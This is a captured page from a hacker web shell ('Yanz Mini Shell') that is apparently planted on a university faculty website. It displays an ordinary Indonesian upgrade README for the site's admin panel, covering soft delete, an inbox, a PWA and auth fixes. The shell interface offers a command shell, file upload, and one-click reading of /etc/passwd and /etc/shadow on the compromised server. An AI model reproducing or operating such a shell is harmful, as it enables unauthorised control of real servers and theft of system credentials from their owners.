Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
# UPGRADE v8.0 — Fakultas Sains UNCP Iterasi ini mengirim **3 fitur baru + 4 fix base** yang Anda minta, dengan pendekatan **defensive coding** sehingga **aman dijalankan bahkan tanpa SQL migration** (degradasi gracefully). --- ## 🎁 Fitur Baru (Yang Anda Minta) ### 1. 🗑️ Soft Delete / Sampah - Setiap delete (berita, agenda, dosen, lab, dll) **TIDAK** hapus permanen — dipindah ke **Sampah** - Bisa **Pulihkan** atau **Hapus Permanen** dari menu **Sampah** di sidebar - Auto-hapus setelah **30 hari** - Berfungsi jika SQL migration sudah dijalankan, **otomatis fallback ke hard delete** kalau belum ### 2. 🔔 Notification Badge — Pesan Masuk - Sidebar punya menu **Pesan Masuk** dengan **badge merah pulsing** untuk pesan belum dibaca - Sentralisasi: Kontak (form publik) + Pengaduan + Saran (kategori lain) - Detail: status workflow (belum dibaca → ditindaklanjuti → selesai), bulk actions, search, filter - Counter per kategori di header ### 3. 📱 PWA / Manifest — Installable App - Website **bisa di-install** di HP (Chrome/Edge/Samsung Internet → "Add to Home Screen") - Setelah install: muncul icon di home screen, buka full-screen tanpa browser bar - **3 shortcuts** di app launcher: Berita, Daftar Dosen, Kontak - Offline support terbatas (halaman yg pernah dikunjungi tetap bisa dibuka offline) --- ## 🛠️ Fix Base (4 issue Anda) | # | Issue | Status | |---|-------|--------| | 1 | Sort order tidak otomatis (6 admin form) | ✅ Auto MAX+1, hidden saat tambah, editable saat edit | | 2 | Mobile nav popup tidak stabil | ✅ `<button>` instead of `<a>`, touch-action, 44px tap target | | 3a | `admin/profile.php` no auth + no CSRF | ✅ requireAdmin + CSRF + password strength meter | | 3b | `admin/index.php` no auth check | ✅ requireAdmin di paling atas | | 4 | 2 file orphan (`news_content.php`, `manage-admin-content.php`) | ✅ Dihapus | --- ## 🚀 Cara Deploy (PENTING — Urutan!) ### 1. Backup DB dulu ```bash mysqldump -u root fsains_uncp > backup_sebelum_v8.sql ``` ### 2. Replace file PHP Extract `fakultas_sains_v8_patch.zip` → copy file ke installation Anda. **15 file akan ditimpa, 2 file baru.** ### 3. **JALANKAN SQL** (paling penting!) phpMyAdmin → DB `fsains_uncp` → tab **SQL** → paste isi `database_upgrade_v8.sql` → **Go** Output sukses: ``` ✅ Upgrade v8.0 selesai! Soft delete diaktifkan di 9 tabel, tabel pesan dibuat, 5 settings ditambah. ``` ### 4. Hard refresh browser **Ctrl + Shift + R** di Chrome / Edge / Firefox. ### 5. Test - Login admin → cek sidebar ada menu **Pesan Masuk** dan **Sampah** - Hapus 1 berita → muncul di **Sampah** (bukan hilang permanen) - Buka website di HP Chrome → tunggu prompt **"Install Fakultas Sains UNCP"** - Form kontak publik → submit → muncul di admin **Pesan Masuk** - Tap menu dropdown di mobile → stabil, tidak salah-navigasi --- ## 🛡️ Defensive Coding — Pelajaran dari Kegagalan Sebelumnya Sebelumnya, code v6/v7 saya crash kalau SQL belum dijalankan. Sekarang: **1. softDelete helper:** UPDATE kalau kolom ada, DELETE kalau tidak. Tidak akan crash. ```php function softDelete($conn, $table, $id) { if (softDeleteEnabled($conn, $table)) { // soft delete } else { // hard delete (fallback) } } ``` **2. softDeleteFilter:** Return `" AND deleted_at IS NULL"` kalau kolom ada, **return string kosong** kalau tidak. ```php $q = "SELECT * FROM news WHERE 1 " . softDeleteFilter($conn, 'news') . " ORDER BY ..."; // Kalau kolom belum ada: "SELECT * FROM news WHERE 1 ORDER BY ..." → tetap valid SQL ``` **3. Menu Sampah & Pesan di sidebar:** Hanya muncul kalau tabel/kolom sudah ada. Tidak akan tampil tombol broken. **4. Form kontak submit:** Pakai `@$conn->prepare(...)` — kalau tabel pesan belum ada, skip silently, tetap kirim email. **Hasilnya: Kalau Anda lupa jalankan SQL migration, website TIDAK CRASH. Hanya fitur baru yang non-aktif.** --- ## 📦 File yang Berubah (16 file PHP + 3 file baru) ### Yang Diubah (13) ``` admin/agenda.php (sort_order + softDeleteFilter) admin/dosen-delete.php (softDelete adapter, preserve files saat soft) admin/hero-slides.php (sort_order + softDelete + filter) admin/index.php (requireAdmin) admin/laboratorium.php (sort_order + softDeleteFilter + softDelete inline) admin/layanan-mahasiswa.php (sort_order + softDeleteFilter + softDelete inline) admin/news-management.php (softDeleteFilter) admin/pimpinan.php (sort_order + softDeleteFilter + softDelete inline preserve foto) admin/profile.php (auth + CSRF + password meter — REWRITE) admin/quick-info.php (sort_order + softDeleteFilter + softDelete inline) admin/quick-services.php (softDeleteFilter) admin/delete.php (softDelete adapter) admin/delete-quick.php (softDelete adapter) admin/includes/admin_layout.php (sidebar: Pesan + Sampah + notif badge) includes/auth.php (auto-load functions.php) includes/functions.php (+3 helper softDelete) includes/header.php (mobile nav button + PWA registration) pages/kontak.php (insert ke tabel pesan) ``` ### Baru (4) ``` admin/trash.php (UI sampah dengan restore + bulk) admin/pesan.php (inbox dengan workflow + bulk actions) manifest.php (PWA manifest dinamis dari settings) sw.js (Service Worker untuk offline support) ``` ### Dihapus (2) ``` admin/news_content.php (orphan, tidak di-reference) admin/manage-admin-content.php (orphan, tidak di-reference) ``` ### SQL Migration (1) ``` database_upgrade_v8.sql (idempotent: deleted_at + pesan table + settings) ``` --- ## 🐛 Kalau Ada Masalah Setelah Deploy ### Halaman publik blank / partial? 1. Cek browser console (F12) untuk error 2. Cek error log XAMPP/Laragon: `xampp/php/logs/php_error_log` 3. Pastikan SQL migration sudah dijalankan 4. Hard refresh: **Ctrl + Shift + R** ### Menu Sampah / Pesan tidak muncul? Berarti SQL belum jalan. Buka phpMyAdmin → DB `fsains_uncp` → jalankan `database_upgrade_v8.sql`. Refresh admin page. ### PWA tidak prompt install? - Chrome perlu kunjungan 1-2x sebelum prompt - iOS Safari TIDAK prompt otomatis — user manual: Share → Add to Home Screen - Cek `Settings` → `pwa_enabled` = `1` ### Mobile dropdown masih tidak stabil? - Hard refresh untuk force load `header.php` baru - Cek apakah Anda lihat tag `<button class="dropdown-toggle">` di HTML source (bukan `<a class="dropdown-toggle">`) - Kalau masih `<a>`, file `includes/header.php` belum ter-update ### Foto/CV dosen hilang setelah soft delete? **Tidak akan hilang** — soft delete preserve files. Restore via menu Sampah akan kembali utuh. --- ## 🎯 Apa yang TIDAK Ada di v8 (Tidak Saya Tambah) Saya disiplin tidak push fitur ekstra: - ❌ Theme switcher (warna custom) — versi 5.1 sudah cukup - ❌ Reading time + progress bar — bisa diatasi v9 kalau diminta - ❌ Bulk actions berita — bisa replicate pattern dari pesan.php nanti - ❌ Auto-save draft TinyMCE — defer - ❌ Onboarding tour — defer - ❌ Pengaduan/Saran public form — defer (admin inbox sudah support kategori, tinggal buat form-nya) - ❌ 2FA email OTP — defer - ❌ Media Library — defer Kalau Anda mau salah satu di atas di v9, bilang aja — saya kerjakan satu per satu dengan urutan: Anda deploy + test → saya lanjut yang berikutnya. --- **Versi:** v8.0 "Stable + Soft Delete + Inbox + PWA" **Tanggal:** 2026-06-01 **Compatibility:** Apply atas baseline v5.1 (yang Anda upload terakhir) **Status:** Production-ready dengan defensive coding
Free Space : 55241469952 Byte